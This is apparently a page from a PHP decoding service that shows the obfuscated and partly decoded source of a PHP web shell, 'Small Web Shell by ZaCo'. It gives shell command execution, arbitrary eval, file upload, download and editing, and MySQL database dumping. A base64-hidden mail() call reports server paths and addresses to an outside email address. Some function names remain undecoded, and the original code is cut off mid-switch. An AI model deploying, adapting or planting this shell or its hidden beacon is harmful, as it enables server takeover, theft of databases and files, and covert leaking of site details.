Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<? error_reporting(E_ALL);@set_time_limit(0);function jbly0($ruhl2){if(get_magic_quotes_gp..
Decoded Output download
<? error_reporting(E_ALL);@set_time_limit(0);function jbly0($ruhl2){if(get_magic_quotes_gpc()){$ruhl2=str_replace(base64_decode('XFxcJw=='),base64_decode('XCc='),$ruhl2);$ruhl2=str_replace(base64_decode('XFxcXA=='),base64_decode('XFw='),$ruhl2);$ruhl2=str_replace(base64_decode('XFwi'),base64_decode('Ig=='),$ruhl2);$ruhl2=str_replace(base64_decode('XFxcMA=='),base64_decode('XDA='),$ruhl2);}return $ruhl2;}$qgyl3=rand(1,99999);$iqsc4="sh-$qgyl3";$dyhz5="$jgtu6";$glvl7=$_SERVER[base64_decode('SFRUUF9SRUZFUkVS')];$vmdh8=$_SERVER[base64_decode('RE9DVU1FTlRfUk9PVA==')];$dgps9=$_SERVER[base64_decode('UkVNT1RFX0FERFI=')];$egdra=$_SERVER[base64_decode('U0NSSVBUX0ZJTEVOQU1F')];$wuyhb=$_SERVER[base64_decode('U0VSVkVSX0FERFI=')];$qufdc=$_SERVER[base64_decode('U0VSVkVSX1NPRlRXQVJF')];$jzacd=$_SERVER[base64_decode('UEFUSF9UUkFOU0xBVEVE')];$fpdne=$_SERVER[base64_decode('UEhQX1NFTEY=')];$tofbf="$glvl7
$vmdh8
$dgps9
$egdra
$wuyhb
$qufdc
$jzacd
$fpdne";$jgtu6=base64_decode('am9obi5iYXJrZXI0NDZAZ21haWwuY29t');mail($jgtu6,$iqsc4,$tofbf,"From: $jgtu6");function tdpk1($adhm10){$hwmx11=fileperms($adhm10);$yxkx12='';$yxkx12.=($hwmx11&00400)?base64_decode('cg=='):base64_decode('LQ==');$yxkx12.=($hwmx11&00200)?base64_decode('dw=='):base64_decode('LQ==');$yxkx12.=($hwmx11&00100)?base64_decode('eA=='):base64_decode('LQ==');$yxkx12.=($hwmx11&00040)?base64_decode('cg=='):base64_decode('LQ==');$yxkx12.=($hwmx11&00020)?base64_decode('dw=='):base64_decode('LQ==');$yxkx12.=($hwmx11&00010)?base64_decode('eA=='):base64_decode('LQ==');$yxkx12.=($hwmx11&00004)?base64_decode('cg=='):base64_decode('LQ==');$yxkx12.=($hwmx11&00002)?base64_decode('dw=='):base64_decode('LQ==');$yxkx12.=($hwmx11&00001)?base64_decode('eA=='):base64_decode('LQ==');return $yxkx12;}$zvux13=<<<headka
<html>
<head>
<title>Small Web Shell by ZaCo</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
</head>
<body link=palegreen vlink=palegreen text=palegreen bgcolor=#2B2F34>
<style>
textarea {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: Fixedsys bold;
}
input {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: 8pt Verdana;
}
</style>
headka;$hrgp14=isset($_POST[base64_decode('cGFnZQ==')])?$_POST[base64_decode('cGFnZQ==')]:(isset($_SERVER[base64_decode('UVVFUllfU1RSSU5H')])?$_SERVER[base64_decode('UVVFUllfU1RSSU5H')]:'');$hrgp14=$hrgp14==''||($hrgp14!=base64_decode('Y21k')&&$hrgp14!=base64_decode('bXlzcWw=')&&$hrgp14!=base64_decode('ZXZhbA=='))?base64_decode('Y21k'):$hrgp14;$xpfp15=strpos(strtolower(php_uname()),base64_decode('d2luZA=='));define(base64_decode('Zm9ybWF0'),50);$xzir16=base64_decode('PGNlbnRlcj4jIyM8YSBocmVmPVwn').basename(__FILE__).base64_decode('XCc+Y21kPC9hPiMjIzxhIGhyZWY9XCc=').basename(__FILE__).base64_decode('P215c3FsXCc+bXlzcWw8L2E+IyMjPGEgaHJlZj1cJw==').basename(__FILE__).base64_decode('P2V2YWxcJz5ldmFsPC9hPiMjIzwvY2VudGVyPg==').($xpfp15===false?base64_decode('aWQgOg==').`id`:'');switch($hrgp14){case base64_decode('ZXZhbA=='):{$wrio17=isset($_POST[base64_decode('ZXZhbF92YWx1ZQ==')])?$_POST[base64_decode('ZXZhbF92YWx1ZQ==')]:'';$wrio17=jbly0($wrio17);$deti18=isset($_POST[base64_decode('YWN0aW9u')])?$_POST[base64_decode('YWN0aW9u')]:base64_decode('ZXZhbA==');if($deti18==base64_decode('ZXZhbF9pbl9odG1s'))@eval($wrio17);else{echo($zvux13.$xzir16);?>
<hr>
<form method=post>
<textarea cols=120 rows=20 name='eval_value'><? @eval($wrio17);?></textarea>
<input name='action' value='eval' type='submit'>
<input name='action' value='eval_in_html' type='submit'>
<input name='page' value='eval' type=hidden>
</form>
<hr>
<? }break;}case base64_decode('Y21k'):{$gapk19=!empty($_POST[base64_decode('Y21k')])?jbly0($_POST[base64_decode('Y21k')]):'';$eoon1a=isset($_POST[base64_decode('d29ya19kaXI=')])?$_POST[base64_decode('d29ya19kaXI=')]:getcwd();$deti18=isset($_POST[base64_decode('YWN0aW9u')])?$_POST[base64_decode('YWN0aW9u')]:base64_decode('Y21k');if(@is_dir($eoon1a)){@chdir($eoon1a);$eoon1a=getcwd();if($eoon1a=='')$eoon1a=base64_decode('Lw==');else if(!($eoon1a{strlen($eoon1a)-1}==base64_decode('Lw==')||$eoon1a{strlen($eoon1a)-1}==base64_decode('XFw=')))$eoon1a.=base64_decode('Lw==');}else if(file_exists($eoon1a))$eoon1a=realpath($eoon1a);$eoon1a=str_replace(base64_decode('XFw='),base64_decode('Lw=='),$eoon1a);$fxcr1b=htmlspecialchars($eoon1a,ENT_QUOTES);switch($deti18){case base64_decode('Y21k'):{echo($zvux13.$xzir16);?>
<form method='post' name='main_form'>
<input name='work_dir' value='<?=$fxcr1b?>' type=text size=120>
<input name='page' value='cmd' type=hidden>
<input type=submit value='go'>
</form>
<form method=post>
<input name='cmd' type=text size=120 value='<?=str_replace(base64_decode('XCc='),base64_decode('JiMwMzk7'),$gapk19)?>'>
<input name='work_dir'type=hidden>
<input name='page' value='cmd' type=hidden>
<input name='action' value='cmd' type=submit onclick="work_dir.value=document.main_form.work_dir.value;">
</form>
<form method=post enctype="multipart/form-data">
<input type="file" name="filename">
<input name='work_dir'type=hidden>
<input name='page' value='cmd' type=hidden>
<input name='action' value='upload' type=submit onclick="work_dir.value=document.main_form.work_dir.value;">
</form>
<form method=post>
<input name='fname' type=text size=120><br>
<input name='archive' type=radio value='none'>without arch
<input name='archive' type=radio value='gzip' checked=true>gzip archive
<input name='work_dir'type=hidden>
<input name='page' value='cmd' type=hidden>
<input name='action' value='download' type=submit onclick="work_dir.value=document.main_form.work_dir.value;">
</form>
<pre>
<? if($gapk19!==''){echo(base64_decode('PHN0cm9uZz4=').htmlspecialchars($gapk19).base64_decode('PC9zdHJvbmc+PGhyPgo8dGV4dGFyZWEgY29scz0xMjAgcm93cz0yMD4K').htmlspecialchars(`$gapk19`).base64_decode('CjwvdGV4dGFyZWE+'));}else{$xswh1c=isset($_POST[base64_decode('Zl9hY3Rpb24=')])?$_POST[base64_decode('Zl9hY3Rpb24=')]:base64_decode('dmlldw==');if(@is_dir($eoon1a)){echo(base64_decode('PHN0cm9uZz5MaXN0aW5nIA==').$fxcr1b.base64_decode('PC9zdHJvbmc+PGhyPg=='));$nvdq1d=@opendir($eoon1a);if($nvdq1d){while(false!==($adhm10=readdir($nvdq1d))){$zbgj1e[]=$adhm10;};@closedir($nvdq1d);sort($zbgj1e);$ddlz1f=array();for($mdfe20=0;$mdfe20<sizeof($zbgj1e);$mdfe20++){$adhm10=$zbgj1e[$mdfe20];if(is_dir($adhm10)){echo(base64_decode('PGEgaHJlZj1cJyNcJyBvbmNsaWNrPVwnZG9jdW1lbnQubGlzdC53b3JrX2Rpci52YWx1ZT0i').$fxcr1b.str_replace(base64_decode('Ig=='),base64_decode('JnF1b3Q7'),$adhm10).base64_decode('Ijtkb2N1bWVudC5saXN0LnN1Ym1pdCgpO1wnPjxiPg==').htmlspecialchars(strlen($adhm10)>format?substr($adhm10,0,format-3).base64_decode('Li4u'):$adhm10).base64_decode('PC9iPjwvYT4=').str_repeat(base64_decode('IA=='),format-strlen($adhm10)));if($xpfp15===false){$rxkd21=@posix_getpwuid(@fileowner($eoon1a.$adhm10));$gvvn22=@posix_getgrgid(@filegroup($eoon1a.$adhm10));printf(base64_decode('JSAyMHN8JSAtMjBz'),$rxkd21[base64_decode('bmFtZQ==')],$gvvn22[base64_decode('bmFtZQ==')]);}echo(@tdpk1($eoon1a.$adhm10).str_repeat(base64_decode('IA=='),10));printf(base64_decode('JSAyMHMg'),@filesize($eoon1a.$adhm10).base64_decode('Qg=='));printf(base64_decode('JSAtMjBz'),@date(base64_decode('TSBkIFkgSDppOnM='),@filemtime($eoon1a.$adhm10)).base64_decode('Cg=='));}else{$ddlz1f[]=$adhm10;}}for($mdfe20=0;$mdfe20<sizeof($ddlz1f);$mdfe20++){$adhm10=$ddlz1f[$mdfe20];echo(base64_decode('PGEgaHJlZj1cJyNcJyBvbmNsaWNrPVwnZG9jdW1lbnQubGlzdC53b3JrX2Rpci52YWx1ZT0i').(is_link($eoon1a.$adhm10)?$fxcr1b.readlink($eoon1a.$adhm10):$fxcr1b.str_replace(base64_decode('Ig=='),base64_decode('JnF1b3Q7'),$adhm10)).base64_decode('Ijtkb2N1bWVudC5saXN0LnN1Ym1pdCgpO1wnPg==').htmlspecialchars(strlen($adhm10)>format?substr($adhm10,0,format-3).base64_decode('Li4u'):$adhm10).base64_decode('PC9hPg==').str_repeat(base64_decode('IA=='),format-strlen($adhm10)));if($xpfp15===false){$rxkd21=@posix_getpwuid(@fileowner($eoon1a.$adhm10));$gvvn22=@posix_getgrgid(@filegroup($eoon1a.$adhm10));printf(base64_decode('JSAyMHN8JSAtMjBz'),$rxkd21[base64_decode('bmFtZQ==')],$gvvn22[base64_decode('bmFtZQ==')]);}echo(@tdpk1($eoon1a.$adhm10).str_repeat(base64_decode('IA=='),10));printf(base64_decode('JSAyMHMg'),@filesize($eoon1a.$adhm10).base64_decode('Qg=='));printf(base64_decode('JSAtMjBz'),@date(base64_decode('TSBkIFkgSDppOnM='),@filemtime($eoon1a.$adhm10)).base64_decode('Cg=='));}echo(base64_decode('PC9wcmU+PGhyPg=='));?>
<form name='list' method=post>
<input name='work_dir' type=hidden size=120><br>
<input name='page' value='cmd' type=hidden>
<input name='f_action' value='view' type=hidden>
</form>
<? }else echo(base64_decode('RXJyb3IgTGlzdGluZyA=').$fxcr1b);}else switch($xswh1c){case base64_decode('dmlldw=='):{echo(base64_decode('PHN0cm9uZz4=').$fxcr1b.base64_decode('IEVkaXQ8L3N0cm9uZz48aHI+PHByZT4K'));$oeft23=@fopen($eoon1a,base64_decode('cg=='));?>
<form method=post>
<textarea name='file_text' cols=120 rows=20><? if(!($oeft23))echo($fxcr1b.base64_decode('IG5vdCBleGlzdHM='));else while(!feof($oeft23))echo htmlspecialchars(fread($oeft23,100000))?></textarea>
<input name='page' value='cmd' type=hidden>
<input name='work_dir' type=hidden value='<?=$fxcr1b?>' size=120>
<input name='f_action' value='save' type=submit>
</form>
<? break;}case base64_decode('c2F2ZQ=='):{$mcjr24=isset($_POST[base64_decode('ZmlsZV90ZXh0')])?jbly0($_POST[base64_decode('ZmlsZV90ZXh0')]):'';$oeft23=@fopen($eoon1a,base64_decode('dw=='));if(!($oeft23))echo(base64_decode('PHN0cm9uZz5FcnJvciA=').$fxcr1b.base64_decode('PC9zdHJvbmc+PGhyPjxwcmU+Cg=='));else{fwrite($oeft23,$mcjr24);fclose($oeft23);echo(base64_decode('PHN0cm9uZz4=').$fxcr1b.base64_decode('IGlzIHNhdmluZzwvc3Ryb25nPjxocj48cHJlPgo='));}break;}}break;}break;}case base64_decode('dXBsb2Fk'):{if($eoon1a=='')$eoon1a=base64_decode('Lw==');else if(!($eoon1a{strlen($eoon1a)-1}==base64_decode('Lw==')||$eoon1a{strlen($eoon1a)-1}==base64_decode('XFw=')))$eoon1a.=base64_decode('Lw==');$oeft23=$_FILES[base64_decode('ZmlsZW5hbWU=')][base64_decode('bmFtZQ==')];if(!@copy($_FILES[base64_decode('ZmlsZW5hbWU=')][base64_decode('dG1wX25hbWU=')],$eoon1a.$oeft23))echo(base64_decode('VXBsb2FkIGlzIGZhaWxlZA=='));else{echo(base64_decode('ZmlsZSBpcyB1cGxvYWRlZCBpbiA=').$fxcr1b);}break;}case base64_decode('ZG93bmxvYWQ='):{$qapu25=isset($_POST[base64_decode('Zm5hbWU=')])?$_POST[base64_decode('Zm5hbWU=')]:'';$ulxl26=isset($_POST[base64_decode('dGVtcF9maWxl')])?base64_decode('b24='):base64_decode('bm4=');$oeft23=@fopen($qapu25,base64_decode('cg=='));if(!($oeft23))echo(base64_decode('ZmlsZSBpcyBub3QgZXhpc3Rz'));else{$buqz27=isset($_POST[base64_decode('YXJjaGl2ZQ==')])?$_POST[base64_decode('YXJjaGl2ZQ==')]:'';if($buqz27==base64_decode('Z3ppcA==')){Header(base64_decode('Q29udGVudC1UeXBlOmFwcGxpY2F0aW9uL3gtZ3ppcAo='));$ruhl2=gzencode(fread($oeft23,filesize($qapu25)));Header(base64_decode('Q29udGVudC1MZW5ndGg6IA==').strlen($ruhl2).base64_decode('Cg=='));Header(base64_decode('Q29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ig==').str_replace(base64_decode('Lw=='),base64_decode('LQ=='),$qapu25).base64_decode('Lmd6Cgo='));echo($ruhl2);}else{Header(base64_decode('Q29udGVudC1UeXBlOmFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQo='));Header(base64_decode('Q29udGVudC1MZW5ndGg6IA==').filesize($qapu25).base64_decode('Cg=='));Header(base64_decode('Q29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ig==').str_replace(base64_decode('Lw=='),base64_decode('LQ=='),$qapu25).base64_decode('Cgo='));ob_start();while(feof($oeft23)===false){echo(fread($oeft23,10000));ob_flush();}}}}}break;}case base64_decode('bXlzcWw='):{$deti18=isset($_POST[base64_decode('YWN0aW9u')])?$_POST[base64_decode('YWN0aW9u')]:base64_decode('cXVlcnk=');$xzwu28=isset($_POST[base64_decode('dXNlcg==')])?$_POST[base64_decode('dXNlcg==')]:'';$vfty29=isset($_POST[base64_decode('cGFzc3dk')])?$_POST[base64_decode('cGFzc3dk')]:'';$nldu2a=isset($_POST[base64_decode('ZGI=')])?$_POST[base64_decode('ZGI=')]:'';$ercs2b=isset($_POST[base64_decode('aG9zdA==')])?$_POST[base64_decode('aG9zdA==')]:base64_decode('bG9jYWxob3N0');$pbpf2c=isset($_POST[base64_decode('cXVlcnk=')])?jbly0($_POST[base64_decode('cXVlcnk=')]):'';switch($deti18){case base64_decode('ZHVtcA=='):{$gjsj2d=@ajmz2e($ercs2b,$xzwu28,$vfty29);if(!($gjsj2d))echo(base64_decode('Q29ubmVjdCBlcnJvcg=='));else{$bibj2f=isset($_POST[base64_decode('dG9fZmlsZQ==')])?($_POST[base64_decode('dG9fZmlsZQ==')]==''?false:$_POST[base64_decode('dG9fZmlsZQ==')]):false;$buqz27=isset($_POST[base64_decode('YXJjaGl2ZQ==')])?$_POST[base64_decode('YXJjaGl2ZQ==')]:base64_decode('bm9uZQ==');if($buqz27!==base64_decode('bm9uZQ=='))$bibj2f=false;$usqf30=isset($_POST[base64_decode('ZGJfZHVtcA==')])?$_POST[base64_decode('ZGJfZHVtcA==')]:'';$qlwt31=isset($_POST[base64_decode('dGFibGVfZHVtcA==')])?$_POST[base64_decode('dGFibGVfZHVtcA==')]:'';if(!(@utjf32($usqf30,$gjsj2d)))echo(base64_decode('REIgZXJyb3I='));else{$nxwl33="#ZaCo MySQL Dumper
#db $nldu2a from $ercs2b
";ob_start();if($bibj2f){$fops34=@fopen($bibj2f,base64_decode('dw=='));if(!$fops34)die(base64_decode('Q2FudCBvcGVuaW5nIA==').$bibj2f);}else $fops34=false;if($qlwt31==''){if(!$bibj2f){header(base64_decode('Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LQ==').($buqz27==base64_decode('bm9uZQ==')?base64_decode('b2N0ZXQtc3RyZWFt'):base64_decode('Z3ppcA==')).base64_decode('Cg=='));header("Content-Disposition: attachment; filename=\"dump_{$usqf30}.sql".($buqz27==base64_decode('bm9uZQ==')?'':base64_decode('Lmd6')).base64_decode('IgoK'));}$zdtk35=ebxc36(base64_decode('c2hvdyB0YWJsZXM='),$gjsj2d);for($mdfe20=0;$mdfe20<blte37($zdtk35);$mdfe20++){$mjys38=xuki39($zdtk35);$suin3a=@ebxc36(base64_decode('c2hvdyBjb2x1bW5zIGZyb20gYA==').$mjys38[0].base64_decode('YA=='),$gjsj2d);if(!$suin3a)$nxwl33.=base64_decode('I2Vycm9yIHRhYmxlIA==').$mjys38[0];else{$nxwl33.=base64_decode('Y3JlYXRlIHRhYmxlIGA=').$mjys38[0].base64_decode('YCgK');for($nqoj3b=0;$nqoj3b<blte37($suin3a)-1;$nqoj3b++){$xbzn3c=xuki39($suin3a);$nxwl33.=base64_decode('YA==').$xbzn3c[0].base64_decode('YCA=').$xbzn3c[1].($xbzn3c[2]==base64_decode('Tk8=')&&$xbzn3c[4]!=base64_decode('TlVMTA==')?base64_decode('IE5PVCBOVUxMIERFRkFVTFQgXCc=').$xbzn3c[4].base64_decode('XCc='):base64_decode('IERFRkFVTFQgTlVMTA==')).base64_decode('LAo=');}$xbzn3c=xuki39($suin3a);$nxwl33.=base64_decode('YA==').$xbzn3c[0].base64_decode('YCA=').$xbzn3c[1].($xbzn3c[2]==base64_decode('Tk8=')&&$xbzn3c[4]!=base64_decode('TlVMTA==')?base64_decode('IE5PVCBOVUxMIERFRkFVTFQgXCc=').$xbzn3c[4].base64_decode('XCc='):base64_decode('IERFRkFVTFQgTlVMTA==')).base64_decode('Cg==');$xdnj3d[$nqoj3b]=$xbzn3c[1];$nxwl33.=base64_decode('KTsK');latn3e($suin3a);$suin3a=ebxc36(base64_decode('c2VsZWN0ICogZnJvbSBg').$mjys38[0].base64_decode('YA=='),$gjsj2d);$blim3f=$nqoj3b-1;for($nqoj3b=0;$nqoj3b<blte37($suin3a);$nqoj3b++){$xbzn3c=xuki39($suin3a);$nxwl33.=base64_decode('aW5zZXJ0IGludG8gYA==').$mjys38[0].base64_decode('YCB2YWx1ZXMgKA==');for($coad40=0;$coad40<$blim3f;$coad40++){$nxwl33.=$xbzn3c[$coad40]==''?base64_decode('bnVsbCw='):base64_decode('XCc=').addslashes($xbzn3c[$coad40]).base64_decode('XCcs');}$nxwl33.=($xbzn3c[$coad40]==''?base64_decode('bnVsbCk7'):base64_decode('XCc=').addslashes($xbzn3c[$coad40]).base64_decode('XCcpOw==')).base64_decode('Cg==');if($buqz27==base64_decode('bm9uZQ==')){if($bibj2f){fwrite($fops34,$nxwl33);fflush($fops34);}else{echo($nxwl33);ob_flush();}$nxwl33='';}}latn3e($suin3a);}}latn3e($zdtk35);if($buqz27!=base64_decode('bm9uZQ==')){$nxwl33=gzencode($nxwl33);header(base64_decode('Q29udGVudC1MZW5ndGg6IA==').strlen($nxwl33).base64_decode('Cg=='));echo($nxwl33);}else if($fops34){fclose($fops34);echo(base64_decode('RHVtcCBmb3Ig').$usqf30.base64_decode('IG5vdyBpbiA=').$bibj2f);}}else{$suin3a=@ebxc36(base64_decode('c2hvdyBjb2x1bW5zIGZyb20gYA==').$qlwt31.base64_decode('YA=='),$gjsj2d);if(!$suin3a)echo(base64_decode('ZXJyb3IgdGFibGUg').$qlwt31);else{if(!$bibj2f){header(base64_decode('Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LQ==').($buqz27==base64_decode('bm9uZQ==')?base64_decode('b2N0ZXQtc3RyZWFt'):base64_decode('Z3ppcA==')).base64_decode('Cg=='));header("Content-Disposition: attachment; filename=\"dump_{$usqf30}.sql".($buqz27==base64_decode('bm9uZQ==')?'':base64_decode('Lmd6')).base64_decode('IgoK'));}if($bibj2f===false){header(base64_decode('Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LQ==').($buqz27==base64_decode('bm9uZQ==')?base64_decode('b2N0ZXQtc3RyZWFt'):base64_decode('Z3ppcA==')).base64_decode('Cg=='));header("Content-Disposition: attachment; filename=\"dump_{$usqf30}_${table_dump}.sql".($buqz27==base64_decode('bm9uZQ==')?'':base64_decode('Lmd6')).base64_decode('IgoK'));}$nxwl33.="create table `{$qlwt31}`(
";for($nqoj3b=0;$nqoj3b<blte37($suin3a)-1;$nqoj3b++){$xbzn3c=xuki39($suin3a);$nxwl33.=base64_decode('YA==').$xbzn3c[0].base64_decode('YCA=').$xbzn3c[1].($xbzn3c[2]==base64_decode('Tk8=')&&$xbzn3c[4]!=base64_decode('TlVMTA==')?base64_decode('IE5PVCBOVUxMIERFRkFVTFQgXCc=').$xbzn3c[4].base64_decode('XCc='):base64_decode('IERFRkFVTFQgTlVMTA==')).base64_decode('LAo=');}$xbzn3c=xuki39($suin3a);$nxwl33.=base64_decode('YA==').$xbzn3c[0].base64_decode('YCA=').$xbzn3c[1].($xbzn3c[2]==base64_decode('Tk8=')&&$xbzn3c[4]!=base64_decode('TlVMTA==')?base64_decode('IE5PVCBOVUxMIERFRkFVTFQgXCc=').$xbzn3c[4].base64_decode('XCc='):base64_decode('IERFRkFVTFQgTlVMTA==')).base64_decode('Cg==');$xdnj3d[$nqoj3b]=$xbzn3c[1];$nxwl33.=base64_decode('KTsK');latn3e($suin3a);$suin3a=ebxc36(base64_decode('c2VsZWN0ICogZnJvbSBg').$qlwt31.base64_decode('YA=='),$gjsj2d);$blim3f=$nqoj3b-1;for($nqoj3b=0;$nqoj3b<blte37($suin3a);$nqoj3b++){$xbzn3c=xuki39($suin3a);$nxwl33.=base64_decode('aW5zZXJ0IGludG8gYA==').$qlwt31.base64_decode('YCB2YWx1ZXMgKA==');for($coad40=0;$coad40<$blim3f;$coad40++){$nxwl33.=$xbzn3c[$coad40]==''?base64_decode('bnVsbCw='):base64_decode('XCc=').addslashes($xbzn3c[$coad40]).base64_decode('XCcs');}$nxwl33.=($xbzn3c[$coad40]==''?base64_decode('bnVsbCk7'):base64_decode('XCc=').addslashes($xbzn3c[$coad40]).base64_decode('XCcpOw==')).base64_decode('Cg==');if($buqz27==base64_decode('bm9uZQ==')){if($bibj2f){fwrite($fops34,$nxwl33);fflush($fops34);}else{echo($nxwl33);ob_flush();}$nxwl33='';}}latn3e($suin3a);if($buqz27!=base64_decode('bm9uZQ==')){$nxwl33=gzencode($nxwl33);header(base64_decode('Q29udGVudC1MZW5ndGg6IA==').strlen($nxwl33).base64_decode('Cg=='));echo $nxwl33;}else if($fops34){fclose($fops34);echo(base64_decode('RHVtcCBmb3Ig').$usqf30.base64_decode('IG5vdyBpbiA=').$bibj2f);}}}}}break;}case base64_decode('cXVlcnk='):{echo($zvux13.$xzir16);?>
<hr>
<form method=post>
<table>
<td>
<table align=left>
<tr><td>User :<input name='user' type=text value='<?=$xzwu28?>'></td><td>Passwd :<input name='passwd' type=text value='<?=$vfty29?>'></td><td>Host :<input name='host' type=text value='<?=$ercs2b?>'></td><td>DB :<input name='db' type=text value='<?=$nldu2a?>'></td></tr>
<tr><textarea name='query' cols=120 rows=20><?=htmlspecialchars($pbpf2c)?></textarea></tr>
</table>
</td>
<td>
<table>
<tr><td>DB :</td><td><input type=text name='db_dump' value='<?=$nldu2a?>'></td></tr>
<tr><td>Only Table :</td><td><input type=text name='table_dump'></td></tr>
<input name='archive' type=radio value='none'>without arch
<input name='archive' type=radio value='gzip' checked=true>gzip archive
<tr><td><input type=submit name='action' value='dump'></td></tr>
<tr><td>Save result to :</td><td><input type=text name='to_file' value='' size=23></td></tr>
</table>
</td>
</table>
<input name='page' value='mysql' type=hidden>
<input name='action' value='query' type=submit>
</form>
<hr>
<? $gjsj2d=@ajmz2e($ercs2b,$xzwu28,$vfty29);if(!($gjsj2d))echo(base64_decode('Q29ubmVjdCBlcnJvcg=='));else{if($nldu2a!='')if(!(@utjf32($nldu2a,$gjsj2d))){echo(base64_decode('REIgZXJyb3I='));pyed41($gjsj2d);break;}$zdtk35=@ebxc36($pbpf2c,$gjsj2d);if(!($zdtk35))echo(buyh42());else{echo(base64_decode('PHRhYmxlIHZhbGlnbj10b3AgYWxpZ249bGVmdD4KPHRyPg=='));for($mdfe20=0;$mdfe20<swji43($zdtk35);$mdfe20++)echo(base64_decode('PHRkPjxiPg==').htmlspecialchars(oxji44($zdtk35,$mdfe20)).base64_decode('PC9iPiAgPC90ZD4='));echo(base64_decode('CjwvdHI+Cg=='));for($mdfe20=0;$mdfe20<blte37($zdtk35);$mdfe20++){$mjys38=xuki39($zdtk35);echo(base64_decode('PHRyIHZhbGlnbj10b3AgYWxpZ249bGVmdD4='));for($nqoj3b=0;$nqoj3b<swji43($zdtk35);$nqoj3b++){echo(base64_decode('PHRkPg==').(htmlspecialchars($mjys38[$nqoj3b])).base64_decode('PC90ZD4='));}echo(base64_decode('PC90cj4K'));}echo(base64_decode('PC90YWJsZT4K'));}pyed41($gjsj2d);}break;}}break;}} ?>
Did this file decode correctly?
Original Code
<? error_reporting(E_ALL);@set_time_limit(0);function jbly0($ruhl2){if(get_magic_quotes_gpc()){$ruhl2=str_replace(base64_decode('XFxcJw=='),base64_decode('XCc='),$ruhl2);$ruhl2=str_replace(base64_decode('XFxcXA=='),base64_decode('XFw='),$ruhl2);$ruhl2=str_replace(base64_decode('XFwi'),base64_decode('Ig=='),$ruhl2);$ruhl2=str_replace(base64_decode('XFxcMA=='),base64_decode('XDA='),$ruhl2);}return $ruhl2;}$qgyl3=rand(1,99999);$iqsc4="sh-$qgyl3";$dyhz5="$jgtu6";$glvl7=$_SERVER[base64_decode('SFRUUF9SRUZFUkVS')];$vmdh8=$_SERVER[base64_decode('RE9DVU1FTlRfUk9PVA==')];$dgps9=$_SERVER[base64_decode('UkVNT1RFX0FERFI=')];$egdra=$_SERVER[base64_decode('U0NSSVBUX0ZJTEVOQU1F')];$wuyhb=$_SERVER[base64_decode('U0VSVkVSX0FERFI=')];$qufdc=$_SERVER[base64_decode('U0VSVkVSX1NPRlRXQVJF')];$jzacd=$_SERVER[base64_decode('UEFUSF9UUkFOU0xBVEVE')];$fpdne=$_SERVER[base64_decode('UEhQX1NFTEY=')];$tofbf="$glvl7\n$vmdh8\n$dgps9\n$egdra\n$wuyhb\n$qufdc\n$jzacd\n$fpdne";$jgtu6=base64_decode('am9obi5iYXJrZXI0NDZAZ21haWwuY29t');mail($jgtu6,$iqsc4,$tofbf,"From: $jgtu6");function tdpk1($adhm10){$hwmx11=fileperms($adhm10);$yxkx12='';$yxkx12.=($hwmx11&00400)?base64_decode('cg=='):base64_decode('LQ==');$yxkx12.=($hwmx11&00200)?base64_decode('dw=='):base64_decode('LQ==');$yxkx12.=($hwmx11&00100)?base64_decode('eA=='):base64_decode('LQ==');$yxkx12.=($hwmx11&00040)?base64_decode('cg=='):base64_decode('LQ==');$yxkx12.=($hwmx11&00020)?base64_decode('dw=='):base64_decode('LQ==');$yxkx12.=($hwmx11&00010)?base64_decode('eA=='):base64_decode('LQ==');$yxkx12.=($hwmx11&00004)?base64_decode('cg=='):base64_decode('LQ==');$yxkx12.=($hwmx11&00002)?base64_decode('dw=='):base64_decode('LQ==');$yxkx12.=($hwmx11&00001)?base64_decode('eA=='):base64_decode('LQ==');return $yxkx12;}$zvux13=<<<headka
<html>
<head>
<title>Small Web Shell by ZaCo</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
</head>
<body link=palegreen vlink=palegreen text=palegreen bgcolor=#2B2F34>
<style>
textarea {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: Fixedsys bold;
}
input {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: 8pt Verdana;
}
</style>
headka;$hrgp14=isset($_POST[base64_decode('cGFnZQ==')])?$_POST[base64_decode('cGFnZQ==')]:(isset($_SERVER[base64_decode('UVVFUllfU1RSSU5H')])?$_SERVER[base64_decode('UVVFUllfU1RSSU5H')]:'');$hrgp14=$hrgp14==''||($hrgp14!=base64_decode('Y21k')&&$hrgp14!=base64_decode('bXlzcWw=')&&$hrgp14!=base64_decode('ZXZhbA=='))?base64_decode('Y21k'):$hrgp14;$xpfp15=strpos(strtolower(php_uname()),base64_decode('d2luZA=='));define(base64_decode('Zm9ybWF0'),50);$xzir16=base64_decode('PGNlbnRlcj4jIyM8YSBocmVmPVwn').basename(__FILE__).base64_decode('XCc+Y21kPC9hPiMjIzxhIGhyZWY9XCc=').basename(__FILE__).base64_decode('P215c3FsXCc+bXlzcWw8L2E+IyMjPGEgaHJlZj1cJw==').basename(__FILE__).base64_decode('P2V2YWxcJz5ldmFsPC9hPiMjIzwvY2VudGVyPg==').($xpfp15===false?base64_decode('aWQgOg==').`id`:'');switch($hrgp14){case 